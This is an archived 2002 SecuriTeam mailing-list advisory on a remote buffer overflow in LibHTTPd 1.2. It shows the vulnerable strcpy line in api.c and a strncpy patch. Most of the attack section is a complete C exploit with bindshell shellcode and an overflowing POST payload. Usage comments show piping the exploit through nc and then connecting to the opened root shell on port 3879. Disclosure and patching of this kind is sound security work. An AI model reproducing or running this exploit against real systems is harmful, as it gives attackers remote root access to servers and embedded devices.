[UNIX] Remote Buffer Overflow Vulnerability in LibHTTPd

From: support@securiteam.com
Date: 11/17/02

  • Next message: support@securiteam.com: "[NT] LiteServe URL Decoding DoS"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 17 Nov 2002 21:43:49 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Remote Buffer Overflow Vulnerability in LibHTTPd
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.hughes.com.au/products/libhttpd/> LibHTTPD can be used to add
    basic web server capabilities to an application or embedded device. A
    vulnerability in the product allows remote attackers to cause the server
    to crash and execute arbitrary code.

    DETAILS

    Vulnerable packages:
     * LibHTTPd version 1.2

    Vulnerable code:
    If examine 'api.c' of library libhttpd.a source code, you can find the
    vulnerability. As you can see httpdProcessRequest() in line:860

       __
       860 void httpdProcessRequest(server)
       861 httpd *server;
       862 {
       863 char dirName[HTTP_MAX_URL],
            ...
       869 server->response.responseLength = 0;
       870 strcpy(dirName, httpdRequestPath(server)); // here.
       --

    Exploit:
     === 0x82-Remote.libhttpdxpl.c ===
    /*
    **
    ** Lib HTTPd Remote Buffer Overflow exploit
    ** by Xpl017Elz
    ** __
    ** Testing exploit:
    **
    ** bash$ (./0x82-Remote.libhttpdxpl;cat)|nc libhttphost 80
    **
    ** (Ctrl+c)
    ** punt!
    ** bash$ nc libhttphost 3879
    ** uname
    ** Linux
    ** id
    ** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),
    ** 3(sys),4(adm),6(disk),10(wheel)
    ** exit
    ** bash$
    **
    ** --
    ** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
    ** My World: http://x82.i21c.net
    **
    */

    #include <stdio.h>
    int main(/* args? */)
    {
        int shadd2r;
        char b1ndsh[] = /* 129byte bindshellcode */
    "\211\3451\322\262f\211\3201\311\211\313C\211]\370C\211]\364K\211M\374\215M"
    "\364\315\2001\311\211E\364Cf\211]\354f\307E\356\017'\211M\360\215E\354\211E"
        
    "\370\306E\374\020\211\320\215M\364\315\200\211\320CC\315\200\211\320C\315"
    "\200\211\3031\311\262?\211\320\315\200\211\320A\315\200\353\030^\211u"
    "\b1\300\210F\007\211E\f\260\013\211\363\215M\b\215U\f\315\200\350\343\377"
    "\377\377/bin/sh";
        //--- POST &shellcode ---//
        fprintf(stdout,"POST ");
        for(shadd2r=0;shadd2r<0x408;shadd2r+=4)
        {/* rEDhAT Default: 0x804e482,
    Debian Address? */
    fprintf(stdout,"\202\344\004\b");
        }
        fprintf(stdout,"\r\n");
        //--- NOP,shellcode ---//
        for(shadd2r=0;shadd2r<0x3e8;shadd2r++)
        {/* SSSSSSSS...SSSSSSSSS;;; */
    fprintf(stdout,"S");
        }
        fprintf(stdout,"%s\r\nx0x\r\nx82\r\nl0l\r\n",b1ndsh);
    }

    Patch:
     === api.patch ===

    --- api.c Sat Nov 9 20:06:30 2002
    +++ api.patch.c Sat Nov 9 20:05:33 2002
    @@ -867,7 +867,7 @@
    httpContent *entry;
     
    server->response.responseLength = 0;
    - strcpy(dirName, httpdRequestPath(server));
    + strncpy(dirName, httpdRequestPath(server), HTTP_MAX_URL);
    cp = rindex(dirName, '/');
    if (cp == NULL)
    {

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:xploit@hackermail.com>
    dong-h0un U.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages

    • [EXPL] Remote Heap malloc/free and Multiple Overflow Vulnerability in WSMP3 (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WsMp3 versions ... # Remote Heap malloc/free & multiple Overflow vulnerability in WSMP3. ... to $Host \n"; ...
      (Securiteam)
    • [UNIX] DSH HOME Environment Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get Thawte's New Step-by-Step SSL Guide for MSIIS ... This vulnerability will allow attackers to cause the product crash. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [UNIX] Owl Intranet Engine Security Bypassing
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Owl is a multi user document repository ... A vulnerability in the product allows remote attackers to ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [NT] RSA ClearTrust Cross Site Scripting Issues
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The RSA ClearTrust is a Web access ... A cross-site scripting vulnerability in the product allows an attacker to ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [EXPL] Off-by-One Error in realpath() (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... vulnerability in order to gain shell access. ... #realpath lukemftpd remote exploit for freeBSD 4.8 ...
      (Securiteam)